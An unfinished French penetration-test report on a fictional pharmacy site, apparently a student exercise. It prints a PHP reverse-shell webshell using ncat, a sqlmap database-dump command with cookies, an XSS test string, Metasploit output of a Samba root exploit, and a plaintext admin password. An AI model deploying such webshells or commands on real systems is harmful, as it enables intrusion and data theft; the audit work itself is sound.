assembly
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Write
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Help
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Write
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    TODO liste : - [ ] mettre les vulns en risque critique en priorité élevée (peu importe les autres critères) <p> <br> </p> <h1 style="text-align: center"> Raport d'audit GoldPharma </h1> <div style="text-align: center"><small>Compte-rendu — 2019</small></div> <p> <br> </p> ___ <p style="text-align: right"> <br> Élève<br> Élève<br> Élève<br> Élève<br> Élève<br> </p> --- <p style="text-align: right; font-style: italic"> On n'est pas des khedem mais t'inquiète on bosse,<br> j'fais rentrer sur la tête des gosses<br> Au DD comme Ademo et N.O.S, <br> conduite agressive et féroce<br> OG, OG, trouve-moi dans l'Lamborghini ou Rolls<br> Sur le bout du goro ton gloss, <br> j'fais rentrer sur la tête des gosses<br> </p> # Table des matières [toc] # 1. Contexte ## 1.1 Cadre de la mission L'entreprise cliente *Goldpharma* a mandaté le prestataire *CyberBug 2007* pour effectuer un audit en boite noire du système d’information. La présente mission ne rentre pas dans le cadre d'une quelconque certification. Le système étant en production, il doit impérativement rester fonctionnel et ne pas voir sa sécurité affaiblie. Si jamais il s'avérait que cette dernière devait être revue à la baisse, le client requiert que cela soit pour une durée la plus courte possible et que l'événement apparaisse dans le présent rapport. ## 1.2 Périmètre de l'audit Dans le cadre de cet audit où la confidentialité des clients de **Goldpharma** doit être protégée, *CyberBug 2007* se basera sur un périmètre externe en boîte noire (aucune information fournie mise à part l’URL du site web) dont le point d'entrée est l'url suivante : http://ppti-msi-6.ufr-info-p6.jussieu.fr Tout le réseau en amont de l’adresse du serveur désigné (132.227.89.28) est en dehors du périmètre d’investigation. Compte tenu de la situation sanitaire les tests seront menés en majorité à distance depuis le domicile de chaque membre de l'équipe. Cependant, il est nous a été amené à opérer exceptionnellement depuis une salle réservée au sein de nos locaux. **spécifier la date** ## 1.2 Présentation de l'entreprise audité L'entreprise *GoldPharma* a mandaté *CyberBug 2007* pour un audit en boîte noire de son système d'information. La priorité première de l’entreprise est la confidentialité de ses clients en raison du domaine d'activité de celle-ci. ## 1.3 Présentation de l'entreprise chargé de l'audit *CyberBug 2007* est une entreprise qui propose un savoir faire dans le domaine de la cybersécurité, en particulier dans le domaine de l’audit des systèmes d’informations et des tests d'intrusion. Notre entreprise offrira à notre client, **GoldPharma**, une expertise d’audit reconnue et considérée comme étant l’état de l’art. Basée en France et accordant une importance particulière à la protection européenne des données, *CyberBug 2007* a également joué un rôle important dans la mise en place du RGPD en discutant avec les différents organismes étatiques afin de promouvoir une protection des données européennes et garantir la pérennité des entreprises françaises. ## 1.4 Présentation de l'équipe - Anime Ait Kaci : pentester, spécialiste en vulnérabilités web, dictateur - Dhiya Babaali : CEO, rédacteur en chef, gestion des Sprints - Nassim Messaoudi : pentester, spécialiste en élévations de privilèges - Mahafaly R. : rédaction des vulnérabilités - Manuel Ferrara : rédacteur, mise en forme du rapport d'audit, vainqueur finaliste du Rap Contenders 2017, la poutre de Bamako française ## 1.5 Outils utilisés - Netcat - Metasploit - Sshuttle - Sqlmap - Owasp ZAP - Gobuster/Wfuzz - ## 1.6 Confidentialité du document Nous nous engageons à conserver secrètes toutes informations concernant l'entreprise Goldpharma présentes sur ce rapport ou non. Nous assurons la mise en place de mesures techniques, logistiques et physiques afin de préserver la sécurité, l’intégrité et la confidentialité des données marquées sur ce rapport et notamment les protéger contre toute destruction fortuite ou illicite, perte fortuite, altération, divulgation ou accès non autorisé, et contre toute autre forme illicite de traitement. La divulgation de ces informations est envisageable dans les hypothèses suivantes : si une disposition législative, réglementaire ou une décision d’une autorité administrative prise en application d’une telle disposition ou si une décision rendue par une juridiction l’exige ; si l’information confidentielle en cause est nécessaire à l’exécution par des obligations au titre des présentes, à condition que le tiers récipiendaire de l’information soit lui-même légalement tenu à une obligation de confidentialité équivalente aux présentes; ou si l'entreprise Cyberbug 2007 est expressément dégagée de son obligation de confidentialité par l'entreprise Goldpharma. ## 2 Référentiel de notation Pour l'audit des applications web, *CyberBug 2007* utilisera la version 3.0 de l'OWASP. La méthodologie OWASP est utilisé comme guide et la liste (non exhaustive) suivante rassemble les domaines des vulnérabilités: * SQL injection * Cross Site Scripting (XSS) * Mauvaise gestion des URL * Cross Site Request Forgery (CSRF) * Fuite d'information et mauvaise gestion des messages d'erreur * Mauvaise authentification et management de session * Communication non sécurisée * ... Cette méthode regroupe des tests aussi bien automatisés que manuels. La première étape consiste en une récolte d’informations. Ensuite ont lieu plusieurs tests qui visent à évaluer la robustesse du service. ### 2.1 Légende : Difficulté d'exploitation ![](https://i.imgur.com/rvuVWyy.png) ### 2.2 Légende : Impact ![](https://i.imgur.com/awiR0cm.png) Le niveau de risque est calculé en utilisant la matrice suivante: (I = Impact, E = Difficulté d'Exploitation) ![](https://i.imgur.com/pbirHDU.png) ### Plan d'action Tout correctif de vulnérabilités a été classifié par priorité. Cette priorité peut être mesurée en utilisant la formule suivante: Priorité = Risque * Difficulté de mise en place Le risque a précédemment été mesuré en prenant en compte le niveau d'effort nécessaire pour corriger une vulnérabilité. Cet effort peut être mesuré à l'aide de ce tableau: ![](https://i.imgur.com/oevSctp.png) La priorité est ensuite calculée en utilisant la matrice suivante:(R = Niveau du Risque, P = Difficulté de mise en Place): ![](https://i.imgur.com/ccbszC7.png) # 3 Cartographie ![](https://i.imgur.com/2cRhgXS.jpg) # 4 Récit d'exploitation # 5 Détail des vulnérabilités ## 5.1 Parti Goldpharma ### 5.1.1 Communication non chiffrée #### Description : À mettre en annexe (Guide de l'OWASP : [lien](https://owasp.org/www-community/vulnerabilities/Insecure_Transport).) Sur un site n'utilisant pas le chiffrement SSL/TLS un attaquant peut par exemple usurper l'identité de **Goldpharma** ou bien récupéer des données sensibles transitant telles que des mots de passe, des codes de carte bancaire, etc. #### Exploitation : Tout d'abord on remarque tout de suite avec le navigateur que aucun certificat n'est utilisé. Pour bien illustrer le problème nous pouvons voir ce qui se passe quand nous nous connectons au site. Voici donc l'information qui transite sur le réseau en entrant le login et le mot de passe : ![](https://i.imgur.com/3YFbK35.png) les champs `mail` et `pass` sont en clair. Si l'utilisateur saisit ces informations en utilisant un WIFI public ou si un attaquant se trouve déjà au milieu de l'échange (attaque *Man In The Middle*), il peut sans difficulté intercepter et réutiliser ces données sensibles. #### Conclusion : La manipulation d'un site web sans chiffrement est une cible facile pour un attaquant, il est donc important de se mettre à jour la dessus pour éviter toute fuite de données. ![](https://i.imgur.com/ReuYn8b.png) ![](https://i.imgur.com/RPNI6Fj.png) #### Remédiation : Mise en place d'une couche de chiffrement comme SSL ou TLS ### 5.1.2 Cross-site scripting (XSS) #### Description : Ce type d'attaque va permettre à l'attaquant d'éxécuter du code JavaScript malicieux dans le navigateur des utilisateurs victimes. Cette injection de script malicieux va permettre à un attaquant de créer un lien malveillant dans le but de faire éxecuter des actions à l'insu de l'utilisateur,ou de modifier l'aspect d'une page WEB dans le but de piéger l'utilisateur. Le rectangle servant à l'écriture d'un message au support est vulnérable à une telle faille. #### Exploitation : Entrer dans le cadre prévu pour le message le message suivant pour révéler la vulnérabilité : `"/<script>alert("TEST");</td>script>"` ![](https://i.imgur.com/W9be8f7.png) En appuyant sur *preview* cela révèle que le script a bien été pris en compte et qu'il est affiché. ![](https://cdn.discordapp.com/attachments/823950163961839689/826495525023907890/unknown.png) #### Conclusion : Cette injection peut permettre à un attaquant de créer un lien malicieux qui peut par exemple récupérer des informations sensibles de la victime. ![](https://i.imgur.com/MlTdm3j.png) ![](https://i.imgur.com/FvH1zTw.png) #### Remédiation : Encoder/Échapper les caractères des entrées non fiables de l'utilisateur. Si elles existent, utiliser des méthodes déjà implémentées par le langage, les bibliothèques associées ou les *frameworks*. En dernier recours : implémenter une solution personnelle. ### 5.1.3 basence de politique de mots de passes #### Description : Aucune politique de sécurité des mots de passe n'a été implémentée : il est possible de saisir un mot de passe ne présentant aucune sécurité (exemple : mot de passe à un seul caractère tel que "a"). #### Exploitation : Notré équipe a été capable de créer plusieurs comptes ayant comme mot passe un simple chiffre ou une simple lettre. #### Conclusion : Autoriser un utilisateur à avoir un mot de passe peu complexe peut permettre à un attaquant de le retrouver en le devinant ou en utilisant une attaque par dictionnaire (*bruteforce*). ![](https://i.imgur.com/ReuYn8b.png) ![](https://i.imgur.com/3rTdCyT.png) #### Remédiation: Endurcir la politique des mots de passe à la création de compte, obligeant chaque utilisateur à respecter certain critères tel que : - Doit contenir : - au moins une majuscule - au moins une minuscule - au moins un caractère spécial - au moins un chiffre - L'ANSSI recommande une **longueur minimale de 12 caractères** ### 5.1.4 Requêtes `GET` pour ajouter les articles au panier #### Description : Les requêtes GET doivent être utilisées dans le but d'afficher les éléments d'une page web ou si des données ont beson d'être mises en cache. Cependant, ici l'ajout d'articles au panier se fait via des requêtes `GET` et non `POST`. Les variables sont visibles dans l'URL et ce dernier peut être exploité pour une automatisation d'injection SQL. Cela facilite également le DDOS et limite le nombre de variables passées dans l'URL en paramètres (exemple : il ne serait pas possible d'ajouter au panier de nombreux articles différents). #### Exploitation : Par exemple en ajoutant un article dans son panier nous pouvons voir la requête GET en question : `http://IP_GOLDPHARMA/?page=cart&art=Cialis` ![](https://i.imgur.com/Pyd4gaN.png) #### Conclusion : Une telle utilisation de requêtes `GET` est considérée comme une mauvaise pratique. Un attaquant peut s'en servir pour récupérer des informations ou pour attaquer de manière active à l'aide d'injections SQL (via `sqlmap` notemment). ![](https://i.imgur.com/lmhWEGv.png) ![](https://i.imgur.com/FlFHiRO.png) #### Remédiation : Privilégier l'utilisation des requêtes `POST`. ~~### 5.1.5 Possibilité d'enregistrer de nouveaux utilisateurs avec des droits administrateurs ?~~ #### Description : #### Exploitation : #### Conclusion : | Risque | |:---------------------------:| | Difficulté d'exploitation : | | Impact : | | **Risque** : | | Priorité de correction | |:---------------------------:| | Risque : | | Difficulté de mise en place : | | **Priorité** : | #### Remédiation ### 5.1.6 Injections SQL sur le paramètre `id` #### Description : Le paramètre `id` a été testé manuellement contre la vulnérabilité aux injections SQL. Il s'avère que ce paramètre est vulnérable dans l'URL `http://176.31.251.122:3480/?page=admin&action=edit_acc&id=0`. #### Exploitation : Utilisation de `SQLMap`. Commande `SQLMap` utilisée : ```bash= sqlmap -u http://176.31.251.122:3480/\?page\=admin\&action\=edit_acc\&id\=0 --cookie="auth=a%253A3%253A%257Bs%253A2%253A%2522id%2522%253Bs%253A2%253A%252268%2522%253Bs%253A5%253A%2522admin%2522%253Bs%253A1%253A%25221%2522%253Bs%253A4%253A%2522cart%2522%253Ba%253A0%253A%257B%257D%257D;cookie_test=1580178804;mac=dadfca65c4579d15a5d4fe66b42b525547607d5c;PHPSESSID=5cb5f19d790d79fda390cde9bc64121b" ``` Les paramètres `--dbs`, `--tables` et `--dumps` ont également été utilisés À ce point, **toutes les tables** ont pu être **listées** et il a été également possible de réaliser un *dump* de toutes les données de la base de données. <!-- VÉRIFIER SI EN CLAIR POUR RGPD --> N'importe quel fichier arbitraire peut également être lu sur la base de données en utilisant l'option `--file-read` avec `sqlmap`. Le fichier `config.php` a donc pu être lu pour obtenir les identifiants du compte `phpmyadmin`. Affichage de message indiquant la vulnérabilité sur le paramètre `id` : ![](https://i.imgur.com/4U7hvUW.png) Résultats du *dump* de la base de données (tout n'a pas été affiché) : ![](https://i.imgur.com/tVxM4HP.png) ![](https://i.imgur.com/J7uAitg.jpg) ![](https://i.imgur.com/EgwbLaQ.png) Résultat du *listing* des tables : ![](https://i.imgur.com/AFxS46C.png) ![](https://i.imgur.com/jiTZn0u.png) ![](https://i.imgur.com/5gHC9Qm.png) Affichage de la version de la base de données : ![](https://i.imgur.com/VXjEh83.png) #### Conclusion : ![](https://i.imgur.com/ReuYn8b.png) | Priorité de correction | |:---------------------------:| | Risque : Critique | | Difficulté de mise en place : Triviale | | **Priorité** : Critique | #### Remédiation : Suivre les recommandations de l'OWASP ([lien](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)), notamment si possible, favoriser l'utilisation de méthodes déjà pré-existantes pour préparer les requêtes plutôt que d'implémenter une solution personnalisée.. ### 5.1.7 Enumération des répertoires #### Description : L'énumération de répértoires est une fonctionalité du serveur web qui permet d'afficher la liste de tous les fichiers dans un certain répertoire du site web. Il est notamment possible d'accéder aux dossiers tels que `/images/`, `uploads/` ou `inc/` et ainsi afficher toutes les fichiers dans ces répertoires. Cela n'est pas un bonne pratique : un utilisateur ne devrait pas pouvoir afficher le contenu d'un dossier. #### Exploitation : Nous avons découvert que cette fonctionalité est active sur ce serveur web, ce qui va afficher les différents dossiers/fichiers présents dans les répertoires , divulguant ainsi une partie de la structure de l'application. ![](https://i.imgur.com/gY03cjQ.png) Cette mauvaise pratique a notamment permis de découvrir le script `utils.php~` qui peut être téléchargé et lu. Cette exposition va aussi permettre de mettre en évidence les dates des dernières modifications des fichiers et les technologies utilisées. #### Conclusion : Outre le fait que cette vulnérabilité va permettre à un attaquant d'en apprendre davantage sur la structure de l'application et sur les technologies utilisées, cette exposition va également offrir la possibilité à l'attaquant de découvrir des fichiers sensibles comme du code source. ![](https://i.imgur.com/4wZRkqi.png) ![](https://media.discordapp.net/attachments/823950163961839689/841807439007449148/unknown.png) ### 5.1.8 Accès à utils.php #### Description : Une partie du code source du site **GoldPharma** est disponible dans `/inc/utils.php~`. C'est un fichier de *backup* (sauvegarde) souvent créé par un éditeur de texte lors de l'édition. #### Exploitation : A l'aide de l'énumération des répertoires nous avons pu remarqué que dans le sous-répertoire */inc* nous trouvons le fichier utils.php~ qui peut nous donner de nombreuses informations. #### Conclusion : L'accés à un tel fichier peut permettre à un attaquant de comprendre le fonctionnement d'une infrastructure en l'occurence ici des informations sur la gestion des cookies d'authentifications sont présentes. ![](https://i.imgur.com/BMLIwae.png) ![](https://i.imgur.com/Q98al9G.png) #### Remédiation Selon l'éditeur de texte, il est possible de désactiver le système de backup en le spécifiant dans le fichier de configuration ### 5.1.9 Algorithme personnalisé d'identification de l'administrateur #### Description : L'identification de l'administrateur se fait au moyen d'une solution personnalisée et dont le fonctionnement est facilement identifiable. L'implémentation d'une solution personnalisée au détriment d'un fonctionnement open source testé et reconnu est considérée comme étant une mauvaise pratique.`Le répertoire `/inc` contient une sauvegarde (*backup*) du fichier `utils.php`, ce qui permet de retrouver le code source de cette page (`utils.php~`) : ```php= <?php function bbcode($msg) { /* Only [img] for now */ $texte = preg_replace('~\[img](.*?)\[/img\]~s','<img src="$1">',$msg); $texte = htmlspecialchars_decode($texte,ENT_QUOTES); return $texte; } /* if(testCookie()) { // We could store others things in the future so we split with \n $tmp_array = explode("\n",urldecode($_COOKIE['auth'])); for ($i = 0; $i < count($tmp_array); $i++) $cookie=unserialize($tmp_array[$i]); // Todo an array } */ function testCookie() { if (isset($_COOKIE['auth']) && isset($_COOKIE['mac'])) { $hash = sha1(SECRET.urldecode($_COOKIE['auth'])); if($hash === $_COOKIE['mac']) return true; } return false; } function randStr($len) { $charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; $charsetLen=strlen($charset) - 1; $random = array(); for($i = 0;$i < $len;$i++) $random[$i] = $charset[mt_rand(0,$charsetLen)]; return implode($random); ?> ``` #### Exploitation : Comprendre comment la vérification du cookie administrateur est réalisée permet de s'authentifier en tant qu'administrateur (usurpation d'identité). #### Conclusion : | Risque | |:---------------------------:| | Difficulté d'exploitation : | | Impact : | | **Risque** : | | Priorité de correction | |:---------------------------:| | Risque : | | Difficulté de mise en place : | | **Priorité** : | #### Remédiation : ### 5.1.10 Accès à `phpMyAdmin` non restreint Description : Il est possible d'accéder à l'interface de connexion de phpMyAdmin `phpmyadmin/` depuis n'importe qu'elle adresse IP. Une bonne pratique serait d'empêcher d'utiliser une whitelist d'adresses IP pouvant accéder au panneau graphique de phpMyAdmin. Exploitation : Conclusion : | Risque | |:---------------------------:| | Difficulté d'exploitation : | | Impact : | | **Risque** : | | Priorité de correction | |:---------------------------:| | Risque : | | Difficulté de mise en place : | | **Priorité** : | ### 5.1.11 Mauvaise configuration de NGINX #### Description : NGINX est un logiciel libre de serveur web, une faille dessus entraine donc un risque pour la pérénnité d'un site web. #### Exploitation : En essayant d'exploiter l'application avec un reverse shell, cela a provoqué un arrêt du serveur NGINX. Apres une durée d'environ 1 minute il n'y a plus de réponse : cela est du à une mauvaise configuration. #### Conclusion : Une telle configuration peut permettre à un attaquant de faire une DoS attaque (Denial of Service) et rendre ainsi indisponible le service web. ![](https://i.imgur.com/aVhyD3h.png) ![](https://i.imgur.com/CjEBDCO.png) #### Remédiation : Mettre à jour NGINX est une solution pour cette mauvaise configuration. ### 5.1.12 Mauvaise gestion des permissions utilisateurs et élévation de privilèges Description : L'étape suivante consiste à écrire du code `php` pour se connecter à une machine de la PPTI et ainsi obtenir un *shell* en tant que `www-admin` sur la machine **Goldpharma** grâce au code ci-dessous : ```php <?php if(!isset($_GET["passwd"]) || $_GET["passwd"] !== "msi2020" || !isset($_GET["IP"]) || !isset($_GET["PORT"])) die("die"); exec("ncat ".$_GET["IP"]." ".$_GET["PORT"]." -e /bin/bash > /dev/null 2>&1 &"); ?> ``` Exploitation : Utiliser un netcat *listener* pour récupérer un *shell* en tant qu'utilisateur *www-admin* . Cet utilisateur peut **lire** la **clé privée** *admin* et la **copier** dans `/tmp` pour s'y **connecter** en tant qu'*admin*. Cela ne devrait pas être possible. Conclusion : | Risque | |:---------------------------:| | Difficulté d'exploitation : | | Impact : | | **Risque** : | | Priorité de correction | |:---------------------------:| | Risque : | | Difficulté de mise en place : | | **Priorité** : | ### 5.1.13 Versions trop ancienne de certains services #### Description : L'obsolescence de certaines applications peut être jugé par certaines entreprises comme étant peu critique dans un systéme d'information. Il ne faut pas sous estimer les attaquants qui se tiennent au courant de ces faiblesses et n'hésiteront pas à les utiliser. #### Exploitation : Aprés avoir eu un shell sur le frontend nous avons pu aller vérifier le status de bons nombres de services ainsi que leurs versions actuelles. | Service | Version | |:-------:|:------------------------------------:| | ssh | ![](https://i.imgur.com/xCCaiOA.png) | | nginx | ![](https://i.imgur.com/r4FhU6h.png) | | mysql | ![](https://i.imgur.com/NTFgA7j.png) | | rsyslog | ![](https://i.imgur.com/7i0s8wu.png) | #### Conclusion : Tout ces services corrigent de nombreuses failles en sortant de nouvelles versions il est donc important de suivre ces sorties. ![](https://i.imgur.com/WXIxyEH.png) ![](https://i.imgur.com/pgrjkF8.png) #### Remédiation: Il suffit de mettre à jour ces services. ### 5.1.14 Droits des comptes administrateurs #### Description: Les comptes administrateurs doivent evidemment avoir plus de droits qu'un compte simple utilisateur, cependant il ne faut pas que ces droits puissent mené à une fuite de données. #### Exploitation: Aprés avoir exploité la vulnérabilité des cookies nous avons pu élever les priviléges de notre compte et ainsi avoir eu accés à un compte administrateur. On trouve donc que l'on peut afficher les comptes et les tickets: ![](https://i.imgur.com/Of3tKwe.png) On regarde donc la liste des comptes et on remarque qu'il y a une foncionalité de modification des comptes. ![](https://i.imgur.com/wyhQQ68.png) ![](https://i.imgur.com/jZzo6gu.png) On peut donc avoir les adresses mail, les noms et les prenoms des utilisateurs du site. En allant sur Edit on tombe la dessus: ![](https://i.imgur.com/g2BtmQ4.png) On trouve donc qu'un administrateur à la possibilité de modifier le mot de passe d'un utilisateur ainsi que son nom et son prénom. Il peut aussi rendre cet utilisateur administrateur. Nous pouvons aussi avoir qu'une partie du numéro de carte bancare est visible. Comme nous avon réussi à obtenir un compte administrateur, nous pouvons supposer qu'un attaquant mal intentionné peut y arriver aussi, les possibilités du compte administrateur sont donc un risque impliquant une fuite de donnée. #### Conclusion: Etant donné la possibilité d'élever ses priviléges sur ce site il est nécéssaire d'appliquer une autre couche de sécurité pour les modifications que peut opérer un administrateur. ![](https://i.imgur.com/JYOIHht.png) ![](https://i.imgur.com/HLSBhGK.png) #### Remédiation: ### 5.1.15 Absence de header dans les requêtes web #### Description: La balise iframe est une balise permettant d'afficher sur une page web le contenu d'une autre page. L'utilisation d'iframe est une pratique courante mais ces balises peuvent être utilisées pour de mauvaises intentions et devenir ainsi un vecteur d'attaques. En effet, il est possible pour un pirate d'embarquer une page web dans un iframe et d'en modifier le comportement... Il pourra ainsi duper l'internaute et récupérer des identifiants et mots de passe par exemple. #### Exploitation: Nous avons remarqué que les requêtes web ne possédent pas de header ou de X-Frame-Options, comme on peut le voir ci dessous : ```php GET / HTTP/1.1 Host: 176.31.251.122:8080 Accept-Encoding: gzip, deflate Accept: * / * Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: auditor Connection: close Cache-Control: max-age=0 ``` #### Conclusion: Pour empêcher efficacement les attaques de détournement de clic, l'application doit renvoyer un en-tête de réponse où le champ X-Frame-Options a la valeur DENY. ![](https://i.imgur.com/JYOIHht.png) ![](https://i.imgur.com/abHdR1Y.png) #### Remédiation: La mise en place de cet en-tête X-FRAME-OPTIONS est une opération relativement facile à mettre en oeuvre nous vous consseillons donc de le faire. ### 5.1.16 Fuite du mot de passe suite à une erreur humaine #### Description: L'humain peut être l'ultime faille d'un systéme d'information. Une étude réalisée par The Economist Intelligence Unit montre qu'une entreprise est principalement, à 85%, menacée par des vulnérabilités humaine. #### Exploitation: En fouillant dans le bash_history nous avons tout simplement découvert l'écriture du mot de passe admin du frontend écrit en clair. Un administrateur a du l'écrire en pensant le faire dans un champs sécurisé et a à appuyé sur entrée: ```bash 568Tynu,ioq_cE(87V09NUNUJI ``` #### Conclusion: Pour faire face à ce risque humain, il est décisif pour les entreprises de se doter de stratégies sécuritaires orientées vers les êtres humains. Pour ce faire, il convient avant toute chose d’identifier les principales cibles des hackers et de former les salariés aux bonnes pratiques. ![](https://i.imgur.com/ZABshWN.png) ![](https://i.imgur.com/3tzDrkB.png) ## Partie Gateway - réutilisation de clef SSH - ## Partie PFsense ### 5.3.1 Mot de passe faible #### Description: Nous avons pu deviner le mot de passe requis pour accéder au PF Sense. Un mot de passe faible est court, commun, une valeur par défaut du système ou quelque chose qui pourrait être rapidement trouvé en exécutant une attaque par force brute en utilisant un dictionnaire. #### Exploitation: Dnas notre cas nous avons rapidement essayé quelques mots de passe simples et nous sommes tombés sur le bon. Le couple nom d'utilisateur/mot de passe était : *user/user* #### Conclusion: Cette vulnérabilité ne demandera pas beaucoup d'effort de la part d'un attaquant et pourtant elle peut lui permettre de fortement au nuire au SI qu'il menace. ![](https://i.imgur.com/ZABshWN.png) ![](https://i.imgur.com/ZgEsJF5.png) #### Remédiation: Appliquez une politique de mot de passe forte.Ne pas autoriser les mots de passe faibles ou les mots de passe basés sur des mots du dictionnaire. ## Partie dernières machines ## .100 Nas ### 5.4.1 Version de Samba vulnérable #### Description: CVE: CVE-2017-7494 Samba depuis la version 3.5.0 et avant 4.6.4, 4.5.10 et 4.4.14 est vulnérable à la vulnérabilité d'exécution de code à distance, permettant à un attaquant malveillant de télécharger un code arbitraire sur un share ou l'on peut écrire, puis de provoquer le chargement et l'exécution de cette librairie par le serveur. #### Exploitation: La version de Samba sur la machine 172.18.0.100 est la version 3.6.6 elle est donc vulnérable. Nous avons donc directement utilisé metasploit pour lancer l'exploit *is_known_pipename* sur la machine cible. Aprés quelques secondes nous sommes root sur le NAS. ```shell msf6 exploit(linux/samba/is_known_pipename) > run [*] 192.168.0.100:445 - Using location \\192.168.0.100\guest\ for the path [*] 192.168.0.100:445 - Retrieving the remote path of the share 'guest' [*] 192.168.0.100:445 - Share 'guest' has server-side path '/media/d0458bf1-c7c9-4752-9cd2-70359ad72696/guest/ [*] 192.168.0.100:445 - Uploaded payload to \\192.168.0.100\guest\oqmTBeUM.so [*] 192.168.0.100:445 - Loading the payload from server-side path /media/d0458bf1-c7c9-4752-9cd2-70359ad72696/guest/oqmTBeUM.so using \\PIPE\/media/d0458bf1-c7c9-4752-9cd2-70359ad72696/guest/oqmTBeUM.so... [+] 192.168.0.100:445 - Probe response indicates the interactive payload was loaded... [*] Found shell. [*] Command shell session 5 opened (172.16.0.50:40882 -> 192.168.0.100:445) at 2021-05-11 02:41:35 +0200 whoami root ``` #### Conclusion: Encore une fois une version obsolète d'un service permet la main mise sur toute une machine. ![](https://i.imgur.com/ZABshWN.png) ![](https://i.imgur.com/k9ezxi7.png) #### Remédiation Il faut mettre à jour la version de Samba et s'assurer que celle ci n'est toujours pas vulnérable. ### Wildcard tar vuln pour etre admin dans le nas ### 5.4.2 Dirty-COW #### Description: CVE: CVE-2016-5195 Dirty COW (copy-on-write) est une vulnérabilité de sécurité du noyau Linux qui affecte tous les systèmes d'exploitation Linux. C'est un défaut d'élévation de privilège qui exploite une condition de concurrence dans la mise en œuvre de la copie sur écriture dans le noyau de gestion de la mémoire. #### Exploitation: Nous avons donc découvert que la version du kernel Linux est bien vulnérable: ```shell admin@nas:~$ uname -a Linux nas 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u2 x86_64 GNU/Linux ``` Nous avons ici une version 3.2.0 elle se trouve bien entre les version 2.x et 4.x qui sont vulnérables. Nous avons téléchargé l'exploit que vous trouverez en annexe. Puis nous l'avons lancé et nous nous retrouvons bien root sur le NAS. #### Conclusion: L'obsolescence d'un serveur connu comme vulnérable représente un grand risque pour un systéme d'information. ![](https://i.imgur.com/ZABshWN.png) ![](https://i.imgur.com/tyZfCqz.png) #### Remédiation: Assurez-vous de mettre à jour vos serveurs Linux pour rester protégé contre ce cette faille d'escalade de privilèges. ## .200 intranet ### 5.5.1 Enumération de répértoire #### Description: L'énumération de répertoires est une fonctionalité du serveur web qui permet d'afficher la liste de tous les fichiers dans un certain répertoire du site web. Cela n'est pas un bonne pratique, un utilisateur ne devrait pas pouvoir afficher le contenu d'un dossier. #### Exploitation: A partir de la machine frontend nous avons lancé un scan nmap sur la machine 192.168.0.200: ```shell PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-git: | 192.168.0.200:80/.git/ | Git repository found! | .git/config matched patterns 'user' | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Initial commit |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Goldpharma Intranet Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.11 - 3.13 Network Distance: 3 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` Nous en savons plus sur les ports ouverts, les services disponibles et leur version. Mais ce scan a aussi découvert un répertoire atteignable depuis le site web directement, le répertoire /.git. #### Conclusion: ### 5.5.2 credentials dispo dans /git ```bash [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [credential] helper = store --file /home/user/.git-credentials ``` ### 5.5.3 Local file inclusion #### Outil : * gitdumper dump du code source vuln dans un else ```shell python3 git_dumper.py http://176.31.251.122:8080/.git ~/pentest/intranet/site/ ``` afficher le git-credentials ```shell curl 